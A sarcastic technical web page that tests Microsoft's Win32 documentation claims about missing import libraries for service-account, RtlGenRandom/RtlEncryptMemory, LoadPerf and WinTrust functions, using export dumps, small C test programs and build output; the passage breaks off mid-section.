Artof Computer Programming
Note: some cases of disinformation presented below were published 25 (in words: twenty-five) years ago and never corrected!
45 years ago I participated in the research project
Entwicklung von Entwurfstechnologien für Familien von Programmsystemen
(Development of Design Technologies for Families of Program Systems
)
initiated and led by David Parnas (who coined the term information
hiding) to design and implement the prototype of a modularized
operating system built from formally specified encapsulated
independent components where both concepts played the crucial role.
Was für Plunder!
(What rubbish!)
NetAddServiceAccount()
,
NetEnumerateServiceAccounts()
,
NetIsServiceAccount()
,
NetQueryServiceAccount()
and
NetRemoveServiceAccount()
states since 2009:
This function has no associated import library. You must use the LoadLibrary and GetProcAddress functions to dynamically link to Logoncli.dll.Ouch: while the[…]
Requirement Value … … Header lmaccess.h DLL Netapi32.dll
Requirementssections name
Netapi32.dll
, all texts but
specify Logoncli.dll
!
Managed Service Accounts
Managed Service Accounts
Managed Service Accounts Frequently Asked Questions (FAQ)
Service Accounts Step-by-Step Guide
Managed Service Accounts: Understanding, Implementing, Best Practices, and Troubleshooting
Determine which of the 2
DLLs
Logoncli.dll
and
Netapi32.dll
provides these
5 Win32 functions:
FOR %? IN (Logoncli.dll) DO SET LOGONCLI=%~$PATH:? LINK.EXE /DUMP /EXPORTS /OUT:logoncli.txt "%LOGONCLI%" FOR %? IN (Netapi32.dll) DO SET NETAPI32=%~$PATH:? LINK.EXE /DUMP /EXPORTS /OUT:netapi32.txt "%NETAPI32%" FIND.EXE "ServiceAccount" logoncli.txt netapi32.txtNote: the command lines can be copied and pasted as block into a Command Processor window.
SET LOGONCLI=C:\Windows\System32\logoncli.dll Microsoft (R) COFF/PE Dumper Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. SET NETAPI32=C:\Windows\System32\netapi32.dll Microsoft (R) COFF/PE Dumper Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. ---------- LOGONCLI.TXT 61 3C 0000F520 NetAddServiceAccount 62 3D 0000F5AC NetEnumerateServiceAccounts 66 41 0000F64C NetIsServiceAccount 69 44 0000F6AC NetQueryServiceAccount 70 45 0000F568 NetRemoveServiceAccount ---------- NETAPI32.TXT 98 61 NetAddServiceAccount (forwarded to LOGONCLI.NetAddServiceAccount) 142 8D NetEnumerateServiceAccounts (forwarded to LOGONCLI.NetEnumerateServiceAccounts) 164 A3 NetIsServiceAccount (forwarded to LOGONCLI.NetIsServiceAccount) 186 B9 NetQueryServiceAccount (forwarded to LOGONCLI.NetQueryServiceAccount) 191 BE NetRemoveServiceAccount (forwarded to LOGONCLI.NetRemoveServiceAccount)Oops: the text is correct,
Logoncli.dll
exports these
5 Win32 functions –
Netapi32.dll
exports them
too, but as forwardersto the functions implemented in
Logoncli.dll
, i.e. either
DLL
can be linked!
Determine whether the highlighted statements
This function has no associated import library.
are true
– or false:
FOR %? IN (Logoncli.lib) DO SET LOGONCLI=%~$LIB:? FOR %? IN (Netapi32.lib) DO SET NETAPI32=%~$LIB:? LINK.EXE /DUMP /EXPORTS /OUT:netapi32.txt "%NETAPI32%" FIND.EXE "ServiceAccount" netapi32.txtNote: the environment variable
LIB
is
set by the
Windows Software Development Kit for Windows 7
– see the
MSDN article
Use the Microsoft C++ toolset from the command line
for an introduction.
SET LOGONCLI= SET NETAPI32=C:\Program Files\Microsoft SDKs\Windows\v7.1\Lib\NetAPI32.Lib Microsoft (R) COFF/PE Dumper Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. ---------- NETAPI32.TXT _NetAddServiceAccount@16 _NetEnumerateServiceAccounts@16 _NetIsServiceAccount@12 _NetQueryServiceAccount@16 _NetRemoveServiceAccount@12OUCH¹: contrary to the highlighted statements of their documentations cited above, not just the Windows Software Development Kit for Windows 7 but ships with an
associated import library
NetAPI32.lib
for these 5 Win32 functions!
OUCH²: the import library
NetAPI32.lib
but links to
Netapi32.dll
instead of
Logoncli.dll
–
this results in a superflous indirection and loads
both
DLLs
instead of just the right one!
Create the text file lmaccess.c
with the following
content in an arbitrary, preferable empty directory:
// Copyleft © 2009-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <lmaccess.h>
#define STATUS_SUCCESS 0L
__declspec(noreturn)
VOID CDECL mainCRTStartup(VOID)
{
#ifndef BLUNDER
DWORD dwBlunder;
LPWSTR *lpBlunder;
LONG ntStatus = NetEnumerateServiceAccounts((LPWSTR) NULL,
0UL,
&dwBlunder,
&lpBlunder);
#elif BLUNDER == 1
BOOL blunder;
LPBYTE lpBlunder;
LONG ntStatus = -NetIsServiceAccount((LPWSTR) NULL,
(LPWSTR) NULL,
&blunder);
if (ntStatus == -STATUS_SUCCESS)
ntStatus = NetQueryServiceAccount((LPWSTR) NULL,
(LPWSTR) NULL,
0UL,
&lpBlunder);
#else
LONG ntStatus = NetAddServiceAccount((LPWSTR) NULL,
L"",
(LPWSTR) NULL,
SERVICE_ACCOUNT_FLAG_LINK_TO_HOST_ONLY);
if (ntStatus == STATUS_SUCCESS)
ntStatus = -NetRemoveServiceAccount((LPWSTR) NULL,
L"",
SERVICE_ACCOUNT_FLAG_UNLINK_FROM_HOST_ONLY);
#endif
ExitProcess(ntStatus);
}
Compile and link the source file lmaccess.c
created in
step 3. to test whether the associated import library
Netapi32.lib
can be linked statically – or not:
SET CL=/W4 /Zl SET LINK=/ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE lmaccess.c kernel32.lib netapi32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
Copyright (C) Microsoft Corporation. All rights reserved.
lmaccess.c
Microsoft (R) Incremental Linker Version 10.00.40219.386
Copyright (C) Microsoft Corporation. All rights reserved.
/ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
/out:lmaccess.exe
lmaccess.obj
kernel32.lib
netapi32.lib
lmaccess.obj : error LNK2019: unresolved external symbol _NetEnumerateServiceAccounts referenced in function _mainCRTStartup
lmaccess.exe : fatal error LNK1120: 1 unresolved externals
OUCH³: the undecorated symbol
name _NetEnumerateServiceAccounts
in the error message
indicates 2 NetEnumerateServiceAccounts()
in the header file lmaccess.h
– the
mandatory calling convention
__stdcall
and the (optional) storage class attribute
__declspec
(dllimport)
are missing!
Note: most obviously nobody
at Microsoft tests or uses their own
products crap with the default settings of
their own development tools – and their quality
miserability assurance is sound asleep!
Note: without the optional
__declspec(dllimport)
the Visual C
compiler generates a
CALL ‹function name›
that the linker needs to resolve with a stub function, an indirect
JMP
through the
Import Address Table – with
__declspec(dllimport)
it just generates an indirect
CALL
through the
Import Address Table.
Note: properly declared, the symbol name would be
__imp__NetEnumerateServiceAccounts@16
– see the
MSDN article
Decorated Names
for details.
Repeat the previous step 4., now with the
/Gz
compiler option:
CL.EXE /Gz lmaccess.c kernel32.lib netapi32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. lmaccess.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:lmaccess.exe lmaccess.obj kernel32.lib netapi32.lib
Execute the console application lmaccess.exe
built in
step 5. and evaluate its exit code:
.\lmaccess.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0xc0020012 (NT: 0xc0020012 RPC_NT_UNKNOWN_IF) -- 3221356562 (-1073610734) Error message text: The interface is unknown. CertUtil: -error command completed successfully.OUCH⁴: WTF?
Repeat step 4., but with the preprocessor macro
BLUNDER
defined:
CL.EXE /DBLUNDER lmaccess.c kernel32.lib netapi32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. lmaccess.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:lmaccess.exe lmaccess.obj kernel32.lib netapi32.lib lmaccess.obj : error LNK2019: unresolved external symbol _NetIsServiceAccount referenced in function _mainCRTStartup lmaccess.obj : error LNK2019: unresolved external symbol _NetQueryServiceAccount referenced in function _mainCRTStartup lmaccess.exe : fatal error LNK1120: 2 unresolved externalsOUCH⁵: the declarations of the function prototypes for
NetIsServiceAccount()
and
NetQueryServiceAccount()
are as faulty as that for
NetEnumerateServiceAccounts()
!
Repeat the previous step 7., now with the
/Gz
compiler option
too:
CL.EXE /DBLUNDER /Gz lmaccess.c kernel32.lib netapi32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. lmaccess.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:lmaccess.exe lmaccess.obj kernel32.lib netapi32.lib
Execute the console application lmaccess.exe
built in
step 8. and evaluate its exit code:
.\lmaccess.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0xc0030009 (NT: 0xc0030009 RPC_NT_NULL_REF_POINTER) -- 3221422089 (-1073545207) Error message text: A null reference pointer was passed to the stub. CertUtil: -error command completed successfully.OUCH⁶: while the
NetIsServiceAccount()
function accepts a NULL
pointer for the
AccountName
parameter, the
NetQueryServiceAccount()
function rejects it with
NTSTATUS
0xC0030009
alias RPC_NT_NULL_REF_POINTER
!
Repeat step 7., now with the preprocessor macro
BLUNDER
defined as 0:
CL.EXE /DBLUNDER=0 lmaccess.c kernel32.lib netapi32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. lmaccess.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:lmaccess.exe lmaccess.obj kernel32.lib netapi32.lib lmaccess.obj : error LNK2019: unresolved external symbol _NetAddServiceAccount referenced in function _mainCRTStartup lmaccess.obj : error LNK2019: unresolved external symbol _NetRemoveServiceAccount referenced in function _mainCRTStartup lmaccess.exe : fatal error LNK1120: 2 unresolved externalsOUCH⁷: the declarations of the function prototypes for
NetAddServiceAccount()
and
NetRemoveServiceAccount()
are as faulty as those for
NetEnumerateServiceAccounts()
,
NetIsServiceAccount()
and
NetQueryServiceAccount()
!
Repeat the previous step 10., now with the
/Gz
compiler option
too:
CL.EXE /DBLUNDER=0 /Gz lmaccess.c kernel32.lib netapi32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. lmaccess.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:lmaccess.exe lmaccess.obj kernel32.lib netapi32.lib
Finally execute the console application lmaccess.exe
built in step 11. and evaluate its exit code:
.\lmaccess.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0xc0020012 (NT: 0xc0020012 RPC_NT_UNKNOWN_IF) -- 3221356562 (-1073610734) Error message text: The interface is unknown. CertUtil: -error command completed successfully.OUCH⁸: WTF?
RtlDecryptMemory()
states since 2001:
Ouch¹: a function is not a (named) resource – see the MSDN article Menus and Other Resources for their definition!Note This function has no associated import library. This function is available as a resource named SystemFunction041 in Advapi32.dll. You must use the LoadLibrary and GetProcAddress functions to dynamically link to Advapi32.dll.[…]NTSTATUS RtlDecryptMemory( [in, out] PVOID Memory, [in] ULONG MemorySize, [in] ULONG OptionFlags );
[…]
Requirement Value … … Header ntsecapi.h DLL Advapi32.dll
The documentation for the Win32 function
RtlEncryptMemory()
states since 2001:
Ouch²: a function is not a (named) resource – see the MSDN article Menus and Other Resources for their definition!Note This function has no associated import library. This function is available as a resource named SystemFunction040 in Advapi32.dll. You must use the LoadLibrary and GetProcAddress functions to dynamically link to Advapi32.dll.[…]NTSTATUS RtlEncryptMemory( [in, out] PVOID Memory, [in] ULONG MemorySize, [in] ULONG OptionFlags );
[…]
Requirement Value … … Header ntsecapi.h DLL Advapi32.dll
The documentation for the Win32 function
RtlGenRandom()
states since 2001:
Ouch³: a function is not a (named) resource – see the MSDN article Menus and Other Resources for their definition!Note This function has no associated import library. This function is available as a resource named SystemFunction036 in Advapi32.dll. You must use the LoadLibrary and GetProcAddress functions to dynamically link to Advapi32.dll.[…]BOOLEAN RtlGenRandom( [out] PVOID RandomBuffer, [in] ULONG RandomBufferLength );
[…]
Requirement Value … … Header ntsecapi.h DLL Advapi32.dll
Determine whether the highlighted statements
This function has no associated import library.
are true
– or false:
FOR %? IN (Advapi32.lib) DO SET ADVAPI32=%~$LIB:? LINK.EXE /DUMP /EXPORTS /OUT:advapi32.txt "%ADVAPI32%" FIND.EXE "SystemFunction0" advapi32.txtNote: the environment variable
LIB
is
set by the
Windows Software Development Kit for Windows 7
– see the
MSDN article
Use the Microsoft C++ toolset from the command line
for an introduction.
Note: the command lines can be copied and pasted as block into a Command Processor window.
SET ADVAPI32=C:\Program Files\Microsoft SDKs\Windows\v7.1\Lib\Advapi32.Lib Microsoft (R) COFF/PE Dumper Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. ---------- ADVAPI32.TXT _SystemFunction001@12 _SystemFunction002@12 _SystemFunction003@8 _SystemFunction004@12 _SystemFunction005@12 _SystemFunction006@8 _SystemFunction007@8 _SystemFunction008@12 _SystemFunction009@12 _SystemFunction010@12 _SystemFunction011@12 _SystemFunction012@12 _SystemFunction013@12 _SystemFunction014@12 _SystemFunction015@12 _SystemFunction016@12 _SystemFunction017@12 _SystemFunction018@12 _SystemFunction019@12 _SystemFunction020@12 _SystemFunction021@12 _SystemFunction022@12 _SystemFunction023@12 _SystemFunction024@12 _SystemFunction025@12 _SystemFunction026@12 _SystemFunction027@12 _SystemFunction028@8 _SystemFunction029@8 _SystemFunction030@8 _SystemFunction031@8 _SystemFunction032@8 _SystemFunction033@8 _SystemFunction034@12 _SystemFunction036@8 _SystemFunction040@12 _SystemFunction041@12OUCH¹: contrary to the highlighted statements of their documentations cited above, not just the Windows Software Development Kit for Windows 7 but ships with an
associated import library
Advapi32.lib
for these 3 Win32 functions!
Create the text file ntsecapi.c
with the following
content in an arbitrary, preferable empty directory:
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <ntsecapi.h>
#define STATUS_SUCCESS 0L
#define STATUS_UNSUCCESSFUL 0xC0000001L
__declspec(noreturn)
VOID CDECL mainCRTStartup(VOID)
{
BYTE cbMemory[RTL_ENCRYPT_MEMORY_SIZE];
LONG ntStatus;
if (RtlGenRandom(cbMemory, sizeof(cbMemory)))
{
ntStatus = RtlEncryptMemory(cbMemory, sizeof(cbMemory), 0UL);
if (ntStatus == STATUS_SUCCESS)
ntStatus = RtlDecryptMemory(cbMemory, sizeof(cbMemory), 0UL);
}
else
ntStatus = STATUS_UNSUCCESSFUL;
ExitProcess(ntStatus);
}
Compile and link the source file ntsecapi.c
created in
step 2. to test whether the associated import library
Advapi32.lib
can be linked statically – or not:
SET CL=/W4 /Zl SET LINK=/ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE ntsecapi.c advapi32.lib kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. ntsecapi.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:ntsecapi.exe ntsecapi.obj advapi32.lib kernel32.lib ntsecapi.obj : error LNK2019: unresolved external symbol _SystemFunction041 referenced in function _mainCRTStartup ntsecapi.obj : error LNK2019: unresolved external symbol _SystemFunction040 referenced in function _mainCRTStartup ntsecapi.obj : error LNK2019: unresolved external symbol _SystemFunction036 referenced in function _mainCRTStartup ntsecapi.exe : fatal error LNK1120: 3 unresolved externalsOUCH²: the undecorated symbol names
_SystemFunction036
,
_SystemFunction040
and _SystemFunction041
in the error messages indicate 2 RtlDecryptMemory()
,
RtlEncryptMemory()
and
RtlGenRandom()
in the header file ntsecapi.h
– the
mandatory calling convention
__stdcall
and the (optional) storage class attribute
__declspec
(dllimport)
are missing!
Note: properly declared, the symbol names were but
__imp__SystemFunction036@8
,
__imp__SystemFunction040@12
and
__imp__SystemFunction041@12
– see the
MSDN article
Decorated Names
for details.
Repeat the previous step 3., now with the
/Gz
compiler option:
CL.EXE /Gz ntsecapi.c advapi32.lib kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. ntsecapi.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:ntsecapi.exe ntsecapi.obj advapi32.lib kernel32.lib
Finally execute the console application ntsecapi.exe
built in step 4. and evaluate its exit code:
.\ntsecapi.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.
InstallPerfDllA()
and
InstallPerfDllW()
states since 1999:
This function has no associated import library; you must call it using the LoadLibrary and GetProcAddress functions.[…]
Requirement Value … … Header Loadperf.h DLL Loadperf.dll
Determine whether the highlighted statement
This function has no associated import library.
is true
– or false:
FOR %? IN (Loadperf.lib) DO SET LOADPERF=%~$LIB:? LINK.EXE /DUMP /EXPORTS /OUT:loadperf.txt "%LOADPERF%" FIND.EXE "InstallPerfDll" loadperf.txtNote: the environment variable
LIB
is
set by the
Windows Software Development Kit for Windows 7
– see the
MSDN article
Use the Microsoft C++ toolset from the command line
for an introduction.
Note: the command lines can be copied and pasted as block into a Command Processor window.
SET LOADPERF=C:\Program Files\Microsoft SDKs\Windows\v7.1\Lib\LoadPerf.Lib Microsoft (R) COFF/PE Dumper Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. ---------- LOADPERF.TXT _InstallPerfDllA@12 _InstallPerfDllW@12
Create the text file loadperf.c
with the following
content in an arbitrary, preferable empty directory:
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <loadperf.h>
FARPROC loadperf[] = {InstallPerfDllA,
InstallPerfDllW};
Compile and link the source file loadperf.c
created in
step 2. to show that the associated import library
Loadperf.lib
can be linked statically:
SET CL=/W4 /Zl SET LINK=/DLL /NODEFAULTLIB /NOENTRY CL.EXE loadperf.c loadperf.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. loadperf.c loadperf.c(9) : warning C4232: nonstandard extension used : 'loadperf' : address of dllimport 'InstallPerfDllA' is not static, identity not guaranteed C:\Program Files\Microsoft SDKs\Windows\v7.1\Include\loadperf.h(49) : see declaration of 'InstallPerfDllA' loadperf.c(9) : warning C4057: 'initializing' : 'FARPROC' differs in indirection to slightly different base types from 'DWORD (__stdcall *)(LPCSTR,LPCSTR,ULONG_PTR)' loadperf.c(10) : warning C4232: nonstandard extension used : 'loadperf' : address of dllimport 'InstallPerfDllW' is not static, identity not guaranteed C:\Program Files\Microsoft SDKs\Windows\v7.1\Include\loadperf.h(42) : see declaration of 'InstallPerfDllW' loadperf.c(10) : warning C4057: 'initializing' : 'FARPROC' differs in indirection to slightly different base types from 'DWORD (__stdcall *)(LPCWSTR,LPCWSTR,ULONG_PTR)' Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /DLL /NODEFAULTLIB /NOENTRY /out:loadperf.exe loadperf.obj loadperf.libOOPS: contrary to the highlighted statements of their documentations cited above, all functions can be linked statically with their import library
Loadperf.lib
!
CryptCATAdminAcquireContext()
,
CryptCATAdminAcquireContext2()
,
CryptCATAdminAddCatalog()
,
CryptCATAdminCalcHashFromFileHandle()
,
CryptCATAdminCalcHashFromFileHandle2()
,
CryptCATAdminReleaseCatalogContext()
,
CryptCATAdminReleaseContext()
,
CryptCATAdminRemoveCatalog()
,
CryptCATCatalogInfoFromContext()
,
CryptCATClose()
,
CryptCATEnumerateAttr()
,
CryptCATEnumerateCatAttr()
and
CryptCATGetMemberInfo()
states since 2001:
This function has no associated import library. You must use the LoadLibrary and GetProcAddress functions to dynamically link to Wintrust.dll.OUCH¹: the highlighted reference to the import library[…]
Requirement Value … … Header mscat.h Library Wintrust.lib DLL Wintrust.dll
Wintrust.lib
in the Requirementssection but contradicts the highlighted statement
This function has no associated import library.given in the text!
The documentation for both of the Win32 functions
CryptCATAdminResolveCatalogPath()
and
IsCatalogFile()
states since 2001:
The documentation for the Win32 functionNote This function has no associated import library. You must use the LoadLibrary and GetProcAddress functions to dynamically link to Wintrust.dll.[…]
Requirement Value … … Header mscat.h DLL Wintrust.dll
CryptCATOpen()
states since 2001:
Note Some older versions of Wintrust.lib do not contain the export information for this function. In this case, you must use the LoadLibrary and GetProcAddress functions to dynamically link to Wintrust.dll.[…]
Requirement Value … … Header mscat.h Library Wintrust.lib DLL Wintrust.dll
CryptCATCDFClose()
CryptCATCDFEnumCatAttributes()
CryptCATCDFOpen()
The documentation for both of the Win32 functions
CryptCATCDFEnumAttributesWithCDFTag()
and
CryptCATCDFEnumMembersByCDFTagEx()
states since 2001:
OUCH²: the highlighted reference toNote This function has no associated header file or import library. To call this function, you must create a user-defined header file and use the LoadLibrary and GetProcAddress functions to dynamically link to Mssign32.dll.[…]
Requirement Value … … DLL Wintrust.dll
Wintrust.dll
in the Requirementssection but contradicts the highlighted statement
dynamically link to Mssign32.dll.given in the text!
Determine whether the highlighted statement
This function has no associated import library.
is true
– or false:
FOR %? IN (Wintrust.lib) DO SET WINTRUST=%~$LIB:? LINK.EXE /DUMP /EXPORTS /OUT:wintrust.txt "%WINTRUST%" FIND.EXE "CryptCAT" wintrust.txtNote: the environment variable
LIB
is
set by the
Windows Software Development Kit for Windows 7
– see the
MSDN article
Use the Microsoft C++ toolset from the command line
for an introduction.
Note: the command lines can be copied and pasted as block into a Command Processor window.
SET WINTRUST=C:\Program Files\Microsoft SDKs\Windows\v7.1\Lib\Wintrust.Lib Microsoft (R) COFF/PE Dumper Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. ---------- WINTRUST.TXT ?CryptCATVerifyMember@@YGHPAXPAUCRYPTCATMEMBER_@@0@Z (int __stdcall CryptCATVerifyMember(void *,struct CRYPTCATMEMBER_ *,void *)) _CryptCATAdminAcquireContext@12 _CryptCATAdminAddCatalog@16 _CryptCATAdminCalcHashFromFileHandle@16 _CryptCATAdminEnumCatalogFromHash@20 _CryptCATAdminPauseServiceForBackup@8 _CryptCATAdminReleaseCatalogContext@12 _CryptCATAdminReleaseContext@8 _CryptCATAdminRemoveCatalog@12 _CryptCATAdminResolveCatalogPath@16 _CryptCATAllocSortedMemberInfo@8 _CryptCATCDFClose@4 _CryptCATCDFEnumAttributes@16 _CryptCATCDFEnumAttributesWithCDFTag@20 _CryptCATCDFEnumCatAttributes@12 _CryptCATCDFEnumMembers@12 _CryptCATCDFEnumMembersByCDFTag@16 _CryptCATCDFEnumMembersByCDFTagEx@24 _CryptCATCDFOpen@8 _CryptCATCatalogInfoFromContext@12 _CryptCATClose@4 _CryptCATEnumerateAttr@12 _CryptCATEnumerateCatAttr@8 _CryptCATEnumerateMember@8 _CryptCATFreeSortedMemberInfo@8 _CryptCATGetAttrInfo@12 _CryptCATGetCatAttrInfo@8 _CryptCATGetMemberInfo@8 _CryptCATHandleFromStore@4 _CryptCATOpen@20 _CryptCATPersistStore@4 _CryptCATPutAttrInfo@24 _CryptCATPutCatAttrInfo@20 _CryptCATPutMemberInfo@28 _CryptCATStoreFromHandle@4OUCH³: contrary to the highlighted statements of their documentations cited above, not just the Windows Software Development Kit for Windows 7 but ships with an
associated import library
Wintrust.lib
for these 16 Win32 functions!
Create the text file mscat.c
with the following content
in an arbitrary, preferable empty directory:
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <wintrust.h>
#include <mscat.h>
CRYPTCATATTRIBUTE* WINAPI CryptCATCDFEnumAttributesWithCDFTag(
_In_ CRYPTCATCDF *pCDF,
_In_ LPWSTR pwszMemberTag,
_In_ CRYPTCATMEMBER *pMember,
_In_ CRYPTCATATTRIBUTE *pPrevAttr,
_In_ PFN_CDF_PARSE_ERROR_CALLBACK pfnParseError
);
LPWSTR WINAPI CryptCATCDFEnumMembersByCDFTagEx(
_In_ CRYPTCATCDF *pCDF,
_Inout_ LPWSTR pwszPrevCDFTag,
_In_ PFN_CDF_PARSE_ERROR_CALLBACK pfnParseError,
_In_ CRYPTCATMEMBER **ppMember,
_In_ BOOL fContinueOnError,
_In_ LPVOID pvReserved
);
FARPROC mscat[] = {CryptCATAdminAcquireContext,
#if _WIN32_WINNT > 0x0601
CryptCATAdminAcquireContext2,
#endif
CryptCATAdminAddCatalog,
CryptCATAdminCalcHashFromFileHandle,
#if _WIN32_WINNT > 0x0601
CryptCATAdminCalcHashFromFileHandle2,
#endif
CryptCATAdminReleaseCatalogContext,
CryptCATAdminReleaseContext,
CryptCATAdminRemoveCatalog,
CryptCATAdminResolveCatalogPath,
CryptCATCatalogInfoFromContext,
CryptCATCDFEnumAttributesWithCDFTag,
CryptCATCDFEnumMembersByCDFTagEx,
CryptCATClose,
CryptCATEnumerateAttr,
CryptCATEnumerateCatAttr,
CryptCATGetMemberInfo,
CryptCATOpen,
IsCatalogFile};
Compile and link the source file mscat.c
created in
step 2. to show that the associated import library
Wintrust.lib
can be linked statically:
SET CL=/W4 /Zl SET LINK=/DLL /NODEFAULTLIB /NOENTRY CL.EXE mscat.c wintrust.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. mscat.c c:\program files\microsoft sdks\windows\v7.1\include\mssip.h(92) : warning C4201 : nonstandard extension used : nameless struct/union mscat.c(31) : warning C4047: 'initializing' : 'FARPROC' differs in levels of indirection from 'HCATINFO (__stdcall *)(HCATADMIN,PWSTR,PWSTR,DWORD)' mscat.c(44) : warning C4047: 'initializing' : 'FARPROC' differs in levels of indirection from 'CRYPTCATATTRIBUTE *(__stdcall *)(HANDLE,CRYPTCATMEMBER *,CRYPTCATATTRIBUTE *)' mscat.c(45) : warning C4047: 'initializing' : 'FARPROC' differs in levels of indirection from 'CRYPTCATATTRIBUTE *(__stdcall *)(HANDLE,CRYPTCATATTRIBUTE *)' mscat.c(46) : warning C4047: 'initializing' : 'FARPROC' differs in levels of indirection from 'CRYPTCATMEMBER *(__stdcall *)(HANDLE,LPWSTR)' mscat.c(47) : warning C4047: 'initializing' : 'FARPROC' differs in levels of indirection from 'HANDLE (__stdcall *)(LPWSTR,DWORD,HCRYPTPROV,DWORD,DWORD)' Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /DLL /NODEFAULTLIB /NOENTRY /out:mscat.exe mscat.obj wintrust.libOUCH⁴: contrary to the highlighted statements of their documentations cited above, these 18 Win32 functions can be linked statically with their import library
wintrust.lib
!
OpenPersonalTrustDBDialog()
and
OpenPersonalTrustDBDialogEx()
states since 2003:
Ouch¹: the highlighted reference to the header fileNote This function has no associated header file or import library. You must define the function yourself and use the LoadLibrary and GetProcAddress functions to dynamically link to Wintrust.dll.[…]
Requirement Value … … Header wintrust.h DLL Wintrust.dll
wintrust.h
in the Requirementssection but contradicts the highlighted statement
This function has no associated header file or import library.given in the text!
The documentation for both of the Win32 functions
WintrustGetRegPolicyFlags()
and
WintrustSetRegPolicyFlags()
states since 2001:
The documentation for the Win32 functionNote This function has no associated import library. You must use the LoadLibrary and GetProcAddress functions to dynamically link to Wintrust.dll.[…]
Requirement Value … … Header wintrust.h DLL Wintrust.dll
WTHelperCertFindIssuerCertificate()
states since 2001:
Ouch²: no header file is specified in theNote
This function has no associated import library. You must use the LoadLibrary and GetProcAddress functions to dynamically link to Wintrust.dll.
[…]
Requirement Value … … DLL Wintrust.dll
Requirementssection!
The documentation for each of the Win32 functions
WintrustAddActionID()
,
WintrustLoadFunctionPointers()
,
WintrustRemoveActionID()
,
WintrustSetDefaultIncludePEPageHashes()
WTHelperCertIsSelfSigned()
,
WTHelperGetProvCertFromChain()
,
WTHelperGetProvPrivateDataFromChain()
,
WTHelperGetProvSignerFromChain()
and
WTHelperProvDataFromStateData()
states since 2001:
This function has no associated import library. You must use the LoadLibrary and GetProcAddress functions to dynamically link to Wintrust.dll.Ouch³: the highlighted reference to the import library[…]
Requirement Value … … Header wintrust.h Library Wintrust.lib DLL Wintrust.dll
Wintrust.lib
in the Requirementssection but contradicts the highlighted statement
This function has no associated import library.given in the text!
Determine whether the highlighted statement
This function has no associated import library.
is true
– or false:
